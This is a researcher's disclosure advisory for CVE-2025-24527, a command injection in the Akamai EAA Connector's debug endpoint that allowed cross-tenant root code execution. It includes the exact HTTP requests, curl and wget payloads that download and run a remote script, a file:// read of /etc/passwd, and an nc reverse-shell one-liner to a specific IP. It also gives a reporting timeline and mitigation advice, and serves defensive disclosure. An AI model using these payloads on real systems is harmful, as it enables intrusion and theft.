← szustak.pl ← Advisories list [TXT] [Markdown]

CVE-2025-24527: Critical Vulnerability in Akamai EAA and Its Implications

Executive summary


Introduction

In March 2020, eSky began evaluating Akamai Enterprise Application Access (EAA)—a Zero Trust Network Access solution—over a 60-day trial. During testing, we identified and reported a command injection vulnerability within the diagnostic features link. At that time, we received an initial acknowledgment but no further updates after our access to EAA was disabled.

In January 2025, we revisited EAA for a new use case. Collaborating with WEBSEC as an Akamai partner, we discovered that although the original PoC payload used in 2020 had been blocked, the core vulnerability in the same request flow still permitted OS Command Injection. Most critically, we confirmed that this injection flaw could be exploited across multiple tenants, impacting not just our own environment but potentially all Akamai customers using EAA.


What is Zero Trust Network Access?

To understand why this vulnerability is especially dangerous, recall that Zero Trust Network Access (ZTNA) solutions, such as Akamai EAA, are designed to replace traditional VPNs. By limiting trust boundaries and segmenting network access, ZTNA aims to reduce lateral movement by attackers. However, if the ZTNA solution’s core connector is compromised, attackers can gain a foothold behind the firewall—effectively undermining Zero Trust principles.

In Akamai blueprint for building zero trust architecture we find a useful list of principles for Zero Trust:

The principles of Zero Trust

The service is architecturally designed based on three major components: Data edge, Management edge and Enterprise edge (documentation):

Akamai EAA architecture: Data edge, Management edge and Enterprise edge

Akamai’s blog post advises that due to VPN providers' susceptibility to Zero-Day vulnerabilities. Security guidance highlights that a compromised VPN allows attackers to move laterally and deploy malware. Ironically, a compromised EAA Connector presents a similar threat.


Vulnerability: 2020 PoC

Our initial discovery stemmed from issues with our Identity Directory (an LDAP-based Active Directory). Attempting to troubleshoot network reachability, we used a cURL function in the EAA web console:

Troubleshooting LDAP reachability using cURL in EAA console

While the test succeeded, it did not fully explain our LDAP issues. However, this cURL feature was compelling enough to warrant further exploration. We tested protocols beyond HTTP and LDAP, discovering that the pseudo-protocol file:// allowed reading of arbitrary local files on the Connector, such as /etc/passwd:

Arbitrary file read (/etc/passwd) using file:// pseudo-protocol

After our initial disclosure, we learned that this cURL functionality could be manipulated to inject arbitrary commands. To illustrate, we used:

{
  "debug_args":"http://poc.szustak.pl/script --output /tmp/script \u000a /bin/sh /tmp/script \u000a",
  "debug_command_id":5
}

This payload was sent to the debug endpoint:

POST /crux/v1/mgmt-pop/agents/[uuid_url]/debug?contractId=[contractID]&gid=[gid] HTTP/1.1
Host: control.akamai.com
Cookie: ...
Content-Type: application/json;charset=utf-8
X-Xsrf-Token: ...
Content-Length: 52

{"debug_args":"http://poc.szustak.pl/script --output /tmp/script \u000a /bin/sh /tmp/script \u000a","debug_command_id":5}

Our payload downloaded a bash script from a remote source and saved it to /tmp/script, then executed it via a newline character (\u000a). The script wrote a simple marker (echo success > /tmp/success), proving an attacker could run commands on the Connector.

Execution verification file /tmp/success via cURL

Interestingly, the /debug endpoint was not documented in the official EAA API reference.


Vulnerability: 2025 PoC

By 2025, Akamai had partially mitigated the flaw. The --output option was disallowed in cURL, causing the /debug endpoint to return:

{ 
  "status": "error", 
  "data": "Illegal options provided to execute debug command."
}

That is why we tried another approach—using wget:

{
  "debug_args":"https://poc.szustak.pl -s \u000awget -q poc.szustak.pl/script -O /tmp/script\u000ash /tmp/script \u000a whoami \u000a#",
  "debug_command_id":5
}

Downloaded and executed script:

#!/bin/sh
echo 'hello-world rce!';
wget poc.szustak.pl/rce-success
echo 'success rce' > /tmp/success;

Once again, we confirmed arbitrary commands could be executed:

Arbitrary command execution in 2025 PoC

Reverse shell

Using this OS command injection, we demonstrated full Connector compromise, including a reverse shell using nc:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 80.211.194.243 9999 > /tmp/f

Reverse shell:

Reverse shell connection on Connector

Escalation to root was then straightforward:

Privilege escalation to root user

Cross tenant / cross contract exploitation

On January 16, 2025, with explicit permission from our partner WEBSEC, we confirmed that an attacker with appropriate roles (but without belonging to that specific Connector’s account) could issue a debug command to a Connector in a separate tenant. This was not expected behavior under standard multi-tenant isolation. The successful HTTP response confirmed our hypothesis: EAA Connectors were vulnerable to cross-tenant exploitation.

A successful execution looked:

POST /crux/v1/mgmt-pop/agents/{uuid}/debug?contractId={contract}&gid={gid} HTTP/1.1
Host: control.akamai.com
Cookie: ...
Content-Length: 61
X-Xsrf-Token: ...
Content-Type: application/json;charset=UTF-8

{"debug_args":"poc.szustak.pl/?test","debug_command_id":5}

Which ended successfully - confirming that carrying out an attack is possible against Connectors of other Akamai clients.

Cross-tenant exploitation confirmation log

Patch analysis & remaining vulnerabilities

Akamai promptly released a patch focusing on the cross-tenant attack vector. By preventing debug commands from reaching connectors outside the user’s own contract, they addressed the most critical aspect of multi-tenant compromise. However, while the OS command injection (RCE) has since been remediated, the Local File Inclusion (LFI) flaw remains unaddressed: any Connector with debug mode enabled is still exposed, allowing authorized operators—or attackers who obtain such access—to read local files, certificates, and secrets.

We subsequently reported that the debug interface could still be used to read local certificates, secrets, and sensitive scripts on the Connector. These issues were deemed medium impact and considered out of scope for further patching by Akamai, but they can present substantial insider threat potential.


Impact assessment

The CVE-2025-24527 vulnerability in Akamai Enterprise Application Access (EAA) poses a severe risk to organizations leveraging the platform. Successful exploitation allows an attacker with EAA Connector Admin or EAA Admin privileges on any Akamai Contract Account to execute arbitrary commands with root privileges on all EAA Connectors across different customer accounts. This results in cross-tenant compromise, effectively breaking tenant isolation within the Akamai ecosystem.

Key Security Risks:


Severity Assessment

The initial CVSS assessment rated the severity as Critical (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/CR:X/IR:X/AR:X). However, Akamai Triage noted that cross-tenant code execution depends on the attacker knowing the victim's Connector ID and thus assessed it as High (changelog note).

In practice, however, this barrier is weak. The Connector ID cannot be enumerated and must be obtained from an Akamai customer, but it is not treated as confidential and Akamai does not communicate it as sensitive. As a result, Akamai customers routinely share these IDs publicly (e.g. on forums and in online discussions), making them realistically obtainable by an attacker.


Recommendations

Although CVE-2025-24527 addresses cross-tenant code execution, the underlying cURL-based debug feature remains exploitable for command injection by any user or service with appropriate access.

Akamai's documentation on the debug feature reveals potential risks:

debug_channel_permitted: boolean
Allows Akamai Support to execute commands on the connector via the debug channel.
You can enable service and debug mode to allow Akamai support, professional services, or an Akamai representative to make any changes to application configurations, and remotely troubleshoot an issue.

After resolving the cross-tenant exploitation issue, I inquired Akamai about the measures taken to confirm if I was the only one who discovered this vulnerability and whether any threat actors had exploited the command injection vulnerability in the Connector VM to compromise customer infrastructure. I received no clear response on that.

Key steps:

  1. Disable Debug Mode: Turn off the debug/service channel (debug_channel_permitted = false) on all Connectors unless it is actively required for a supervised support session, and disable it again immediately afterwards.
  1. Evaluate Debug-Mode Necessity: Conduct a thorough risk analysis to determine whether enabling debug functionality is essential. This feature grants significant power to specific roles (Akamai support, professional services, etc.).
  1. Implement Strict Network Segmentation: Follow NIST guidelines for least privilege and need-to-know within any segment hosting the Akamai Connector.
  1. Continuous Monitoring: Deploy IDS/IPS solutions to monitor Connector traffic for suspicious or anomalous activity.

Reporting timeline

2020 Report

DateEventNotes
17 Mar 2020Researcher: Initial email report to Akamai Enterprise Sales Solutions Engineer on local file disclosure
17 Mar 2020Researcher: Command injection vuln reported via email to Akamai Solution Engineers assisting EAA deployment
17 Mar 2020Akamai: Confirmation of report submission to the Product Management Team at Akamai

2025 Report

DateEventTimeline
10 Jan 2025Researcher: report OS Command Injection vulnerability in Akamai's Bug Bounty program, specifically targeting the Enterprise Application Access Connector via Diagnostic Options.Day 0
13 Jan 2025Akamai Triage Team confirms investigation underway.Day 3
16 Jan 2025Researcher report update confirming Cross Tenant ExploitationDay 6
17 Jan 2025Akamai validates the issue.Day 7
20 Jan 2025Akamai informs issue was resolved. Question on confirmation.Day 10
20 Jan 2025Issue seems solved, cannot reproduce with demonstrated payload. Fix confirmedDay 10
21 Jan 2025Submission of Local File Disclosure and OS Command Injection Techniques as distinct reportsDay 11
24 Jan 2025LFI & OS Command injection reports marked as out of scopeDay 14
28 Jan 2025CVE-2025-24527 assigned. 1,500 USD bounty awardedDay 18
29 Jan 2025Severity updated from Critical to HighDay 19
29 Jan 2025Akamai change note publishedDay 19